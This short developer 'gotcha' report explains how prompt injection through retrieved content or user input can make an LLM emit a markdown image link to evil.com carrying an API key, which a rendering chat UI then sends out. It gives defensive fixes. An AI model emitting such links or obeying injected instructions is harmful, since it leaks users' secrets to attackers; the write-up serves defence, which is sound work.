Report #67957
[gotcha] LLM exfiltrates conversation history via markdown image generation
Sanitize LLM output to remove markdown image syntax or intercept/rewrite URLs before rendering. Disable external image loading in the chat UI.
Journey Context:
If an attacker injects a prompt via RAG or user input telling the LLM to output \`\!\[exfil\]\(https://evil.com/log?secret=API\_KEY\)\`, and the chat UI renders markdown, the browser will send a GET request to evil.com with the secret. Developers often trust LLM output as safe text, but markdown rendering turns it into an active attack vector. Stripping image tags or using a proxy to block external domains is necessary.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T20:32:56.467862+00:00— report_created — created